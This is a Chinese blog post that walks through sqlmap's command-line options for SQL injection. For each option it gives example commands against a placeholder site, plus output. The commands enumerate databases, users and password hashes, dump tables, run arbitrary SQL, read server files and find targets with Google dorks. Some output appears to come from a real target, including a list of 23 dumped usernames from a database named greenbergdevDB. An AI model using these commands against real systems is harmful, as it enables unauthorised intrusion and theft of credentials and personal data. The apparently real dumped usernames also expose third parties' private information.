sqlmap 用法

sqlmap用法

【-u/--url="url"】 #后面接目标网址,表示测试的目标地址。

【-v/--level=number】 #number=[0-5],表示测试结果的详细程度。数值越大,内容越详细。

sqlmap.py -u “url”  -v 0-5

sqlmap.py --url="url" --level=0-5

通过以上参数,会得到:
1、目标的操作系统信息
2、数据库的类型[MySQL/MSSQL/Access]、版本号
3、Web服务器版本、版本号
4、支持的脚本类型

Example:

sqlmap.py --url="http://www.xxxx.com/index.php?ID=111" --level=1
sqlmap.py -u "http://www.xxxx.com/index.php?ID=111" --v 1

Result:

web server operating system: Linux Red Hat Enterprise 3 (Taroon)
web application technology: PHP 4.3.2, Apache 2.0.46
back-end DBMS: MySQL 4

【--current-db】 #表示获取当前数据库的名称。但实测中对Access的数据库不能获得数据库名称

sqlmay.py --url="url" --current-db

通过以上参数,会得到:
1、当前所用的数据库的名称

Example:

sqlmap.py --url="http://www.xxxx.com/index.php?ID=111" --current-db

Result:
current database:    'greenbergdevDB'

【--dbs】#列举所有的数据库名单。我这里只列出来一个。可能是因为权限的问题。

sqlmap.py --url="url" --dbs

Exampl:

sqlmap.py --url="http://www.xxxx.com/index.php?ID=111" --dbs --level=1

Result:

available databases [1]:
# greenbergdevDB

【--current-user】 #表示获取当前数据库的用户名

sqlmap.py --url="url" --current-user

通过以上参数,会得到:
1、当前数据库的用户名

Example:

sqlmap.py --url="http://www.xxxx.com/index.php?ID=111" --current-user --level

Result:

current user:    'greenbergUser@localhost'

【--users】 #表示枚举数据库所有用户名称。但在我实测过程中什么都没枚举出来。可能是权限不够。

sqlmap.py --url="url" --users

Example:

sqlmap.py --url="http://www.xxxx.com/index.php?ID=111" --users

Result:

[INFO] retrieved:
[CRITICAL] unable to retrieve the number of database users

正常结果应类似于:

# database management system users [5]:
# ‘debian-sys-maint’@'localhost’
# ‘root’@'127.0.0.1′
# ‘root’@'leboyer’
# ‘root’@'localhost’
# ‘testuser’@'localhost’


【--passwords】 #表示枚举数据库中所有用户的连接密码.我实测过程中,什么也没枚举出来,可能是权限不够。

sqlmap.py --url="url" --passwords

Example:

sqlmap.py --url="http://www.xxxx.com/index.php?ID=111" --passwords

Result:

[CRITICAL] unable to retrieve the number of database users

正常结果应类似于:

database management system users password hashes:
# debian-sys-maint [1]:
password hash: *XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
# root [1]:
password hash: *YYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYY
# testuser [1]:
password hash: *ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ

【-U】#表示指定数据库用户,配合其他参数使用。比如 --passwords。实测过程中未能得到指定用户的密码。

sqlmap.py --url="url" --password -U user_name

通过以上参数会得到:
1、指定用户的密码

Example:

sqlmap.py --url="http://www.xxxx.com/index.php?ID=111" --passwords -U greenbergUser@localhost --level 1

Result:

[WARNING] unable to retrieve the number of password hashes for user 'greenbergUser'

【-D】 #表示指定使用的数据库。配合其他参数使用。比如 --tables -D "db_name" 表示从数据库db_name中获取所有表名。参数 --tables 表示获得表名. 实测过程中如果不使用-D 指定数据库 ,那么会进入暴力破解表名。因为我这里只有一个数据库。所以暴力破解到了表名。如果存在多个数据库,结果未知。暴力破解过程很慢,会提示你设置线程数量。建议加上-D参数指定数据库,速度飞快,瞬间出结果。

sqlmap.py --url="url" --tables -D "db_name"

通过以上参数会得到:
1、指定的数据库中所有的表名

Example For MySQL:

sqlmap.py --url="http://www.xxxx.com/index.php?ID=111" --tables -D "greenbergdevDB" --level=1

Result:

Database: greenbergdevDB
[5 tables]
+------------+
| article    |
| media      |
| permission |
| roles      |
| users      |
+------------+

【-T】#指定使用的表名。配合其他参数使用。比如 --columns -T "table_name" -D "db_name" 获取数据库db_name中table_name表里所有的字段即:列名。参数 --columns 表示获取列名。

sqlmap.py --url="url" --columns -T "table_name"  -D "db_name"

通过以上参数会得到:
1、指定的数据库中指定表的所有的列名。

Example:

sqlmap.py --url="http://www.xxxx.com/index.php?ID=111" --columns -T "users" -D "greenbergdevDB" --level=1

Result:

Database: greenbergdevDB
Table: users
[11 columns]
+-------------+---------+
| Column      | Type    |
+-------------+---------+
| description | numeric |
| email       | numeric |
| filename    | numeric |
| first_name  | numeric |
| id          | numeric |
| keywords    | numeric |
| last_name   | numeric |
| locked      | numeric |
| published   | numeric |
| templateid  | numeric |
| username    | numeric |
+-------------+---------+

【--tables】#表示枚举表名。建议配合 -D 参数指定数据库。否则会进入暴力破解。速度很慢。

sqlmap.py --url="url" --tables

【--columns】#表示枚举列明.建议配合 -T、-D 参数指定数据库及表名。否则会进入暴力破解,速度很慢。

sqlmap.py --url="url" --columns

【-C】 #表示指定使用的列名。建议配合 --dump、 -T、-D使用。 例如:

sqlmap.py --url="url" --dump -T "table_name" -C "colunm_name" -D "db_name"

通过以上参数可以得到:
1、指定数据库中指定表中指定列的内容。

Example:

sqlmap.py --url="http://www.xxxx.com/index.php?ID=111" --dump -T "users" -C "username" -D "greenbergdevDB" --level=1

Result:

Database: greenbergdev
Table: users
[23 entries]
+-------------+
| username    |
+-------------+
| Arand       |
| bfowks      |
| billyfowks  |
| bkrauss     |
| ckim        |
| crichardson |
| dlieberman  |
| drooney     |
| eseifert    |
| esenn       |
| gqrresearch |
| gwolfe      |
| jlacayo     |
| jlein       |
| jmacek      |
| katew       |
| krivera     |
| kstewart    |
| kwitt       |
| LGroves     |
| lmairl1     |
| mgroch      |
| MIsaacs     |
+-------------+

【-dump】 #列出自定的内容,配合 -T、-D、-C使用。例子如上。

sqlmap.py --url="url" --dump -T "table_name" -C "colunm_name" -D "db_name"

【-dump-all】 #列出整个数据库的内容。

sqlmap.py --url="url" --dump-all

【-exclude-sysdbs】 #列出除缺省的数据库以外的数据库,也就是说列出用户自创建的数据库。

sqlmap.py --url="url" -exclude-sysdbs

Example:

sqlmap.py --url="http://www.xxxx.com/index.php?ID=111" -exclude-sysdbs

Result:

测试中,由于权限问题,我的没能列出来。

【--sql-query】 #表示执行自定义的SQL语句。

sqlmap.py --url="url" --sql-query "SQL"

通过以上参数可以得到:
1、执行自定义的SQL语句。

Example:

sqlmap.py --url="http://www.xxxx.com/index.php?ID=111" --sql-query "select username from users" --level=1

Result:

select username from users [2]:
# Arand
# bfowks

【-g】 #使用google dork来对指定的站点进行批量扫描注入点。

sqlmap.py -g "site:url inurl:index.php”

通过以上参数可以得到:
1、类似于阿D 明小子的批量分析注入点?

Example:

sqlmap.py -g "site: http://www.xxxx.com  inurl:index.php" --level=1

Result:

[INFO] first request to Google to get the session cookie
[INFO] using Google result page #1
[CRITICAL] unable to find results for your Google dork expression

实际测试过程中,没有成功。

【--threads】 #自定义扫描线程数,用来加速扫描。

sqlmap.py --url="url" --threads=number

通过以上参数可以得到:
1、用自定义的线程数量进行扫描分析,提高速度。

Example:

sqlmap.py --url="http://www.xxxx.com/index.php?id=110" --current-db --threads=20

【--is-dba】 判断当前用户是否具有系统权限

sqlmap.py --url="url" --is-dba

通过以上参数可以得到:
1、判断当前用户是否具有系统权限。

Example:

sqlmap.py --url="http://www.xxxx.com/index.php?ID=111" --is-dba --level=1

Result:

current user is DBA:    'False'

【-b】 #获得服务器的banner:

sqlmap.py --url="url" -b

通过以上参数可以得到:
1、获取数据库版本的详细信息。

Example:

sqlmap.py --url="http://www.xxxx.com/index.php?ID=111" -b --level=1

Result:

web server operating system: Linux Red Hat Enterprise 3 (Taroon)
web application technology: PHP 4.3.2, Apache 2.0.46
back-end DBMS: MySQL 4
banner:    '4.1.12'

【-file】 #读取具体文件内容。类似于 LOAD_FILE()函数的功能。

sqlmap.py --url="url" -file "filename"

Example:

sqlmap.py --url="http://www.xxxx.com/index.php?ID=111" -flle "d:/log.txt"

【-o】 #把结果输出到指定文件

sqlmap.py --url="url" -o "outfile"

Example:

sqlmap.py --url="http://www.xxxx.com/index.php?ID=111" -o "d:/log.txt"


  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值